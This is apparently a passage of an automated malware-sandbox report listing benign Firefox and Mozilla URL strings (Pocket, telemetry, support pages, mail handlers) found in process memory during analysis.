Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_morediscoverystream.endpointSpocsClear
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_morediscoverystream.personalization.modelKeys
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: https://getpocket.com/read/$
Source: firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421733253.00000214ADB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000001D.00000002.3433552608.00000214AF32D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS
Source: firefox.exe, 0000001D.00000002.3433552608.00000214AF32D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS7
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsresource://gre/modules/Region.sys.mjsresource://gre/modules/App
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 0000001D.00000002.3414473910.00000214AC811000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/cfworker
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/cfworker__absolute_recursive_ref__isPotentiallyVulnerablePassword
Source: firefox.exe, 0000001D.00000002.3436361649.00000214AF503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 0000001D.00000002.3431199683.00000214AF1C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 0000001D.00000002.3431199683.00000214AF1C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 0000001D.00000002.3436361649.00000214AF503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 0000001D.00000002.3436361649.00000214AF503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3260407550.00000214AB431000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3404418065.00000214AB6B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000003.3260074424.00000214AB40F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshotsresource://pdf.js/
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla/webcompat-reporter
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: https://github.com/projectfluent/fluent.js/wiki/React-Overlays.
Source: firefox.exe, 0000001D.00000002.3434823097.00000214AF491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.mdexperimental-features
Source: firefox.exe, 0000001D.00000002.3434823097.00000214AF491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp, firefox.exe, 0000001D.00000002.3433552608.00000214AF32D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp, firefox.exe, 0000001D.00000002.3457171738.00003265CC204000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3394874901.00000214A892D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 0000001D.00000003.3364445219.00000214ADDB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: firefox.exe, 0000001D.00000002.3434823097.00000214AF491000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/get
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: https://help.getpocket.com/article/1142-firefox-new-tab-recommendations-faq
Source: firefox.exe, 0000001D.00000002.3377707348.000002149B511000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881Should
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881a
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/7
Source: firefox.exe, 0000001D.00000002.3438362474.00000214AF718000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/X
Source: firefox.exe, 0000001D.00000002.3394874901.00000214A892D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submitdiscoverystream.isCollectionDismissibleDecision
Source: firefox.exe, 0000001D.00000002.3433552608.00000214AF32D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submits
Source: firefox.exe, 0000001D.00000002.3436361649.00000214AF503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 0000001D.00000002.3443789097.00000214B3CE9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3318498425.00000214ABF64000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3328071600.00000214B3CE9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3335869944.00000214B3CE9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 0000001D.00000002.3414473910.00000214AC854000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema.
Source: firefox.exe, 0000001D.00000002.3414473910.00000214AC854000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema./
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema
Source: firefox.exe, 0000001D.00000002.3414473910.00000214AC854000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema/
Source: firefox.exe, 0000001D.00000002.3414473910.00000214AC854000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema/=
Source: firefox.exe, 0000001D.00000002.3436361649.00000214AF503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 0000001D.00000002.3436361649.00000214AF503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 0000001D.00000002.3436361649.00000214AF503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 0000001D.00000002.3399505695.00000214AADAC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3412078877.00000214AC44A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 0000001D.00000002.3394874901.00000214A896A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%Please
Source: firefox.exe, 0000001D.00000002.3404937712.00000214AB803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3414473910.00000214AC883000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 0000001D.00000002.3421733253.00000214ADB21000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.comresource://normandy/lib/PrefUtils.sys.mjsresource://normandy/lib/Te
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A93AF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3396815787.00000214A8B22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sFailed
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A93AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000001D.00000002.3397502544.00000214A93AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A93AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%shttp://poczta.interia.pl/mh/?mailto=%shttp://win.mail.ru/cgi-
Source: firefox.exe, 0000001D.00000002.3397502544.00000214A93AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3377707348.000002149B5DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest5
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggestresource://activity-stream/common/Actions.sys.mjsb
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp, firefox.exe, 0000001D.00000002.3383883724.00000214A7AC1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.comhttps://support.mozilla.orgmaybeShowOnboardingDialoghttps://screenshots.f
Source: firefox.exe, 0000001D.00000002.3449152388.00001317B2304000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla.org/
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://mozilla.org/W
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mzl.la/3NS9KJd
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ok.ru/
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A93AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%sresource://pdf.js/PdfJsDefaultPreferences.sys
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A93AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%shttps://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000001D.00000002.3397502544.00000214A93AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: https://reactjs.org/docs/error-decoder.html?invariant=
Source: firefox.exe, 0000001D.00000002.3433552608.00000214AF32D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp, firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/Unexpected
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svgpictureinpicture%40mozilla.org:1.0.0
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: https://snippets.mozilla.com/show/
Source: firefox.exe, 0000001D.00000003.3340297144.00000214B3CAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3438362474.00000214AF7C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com
Source: firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3433552608.00000214AF32D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3447537019.00000214B5D38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/os.windowsBuildNumber
Source: firefox.exe, 0000001D.00000002.3433552608.00000214AF32D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#
Source: firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#l
Source: firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3433552608.00000214AF32D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/userCouldn
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF80000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3332867628.00000214ACD45000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3356098124.00000214ACD6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-jsQUERY_CONTENT_FLAG_SELECTION_IME_SELECTEDCONVERTEDT
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3356098124.00000214ACD6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixelcolor-mix(in
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixelhttps://static.adsafeprotected.com/firefox-etp-p
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp, firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3322309310.00000214ACB79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3322309310.00000214ACB79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=spotlight
Source: firefox.exe, 0000001D.00000002.3423004266.00000214ADD7F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: firefox.exe, 0000001D.00000002.3417855408.00000214ACC43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-help
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-helptransitionState
Source: firefox.exe, 0000001D.00000002.3442726709.00000214B3C11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsMediaPlatformDecoderNotFound
Source: firefox.exe, 0000001D.00000002.3442726709.00000214B3C11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsMediaWMFNeeded
Source: firefox.exe, 0000001D.00000002.3401422658.00000214AB203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 0000001D.00000002.3426975852.00000214AEC69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causeshttps://support.mozilla.org
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translationmigration-wizard-migrator-display-name-chromium-ed
Source: 176986cc9c.exe, 0000000F.00000003.3316379231.00000000054F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 0000001D.00000002.3416090218.00000214ACA1A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: firefox.exe, 0000001D.00000002.3436361649.00000214AF503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 0000001D.00000003.3359809610.00000214B3C1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 0000001D.00000003.3359809610.00000214B3C1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 0000001D.00000003.3359809610.00000214B3C1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 0000001D.00000003.3359809610.00000214B3C1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A93F6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp, firefox.exe, 0000001D.00000002.3457171738.00003265CC204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com
Source: firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3433552608.00000214AF32D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
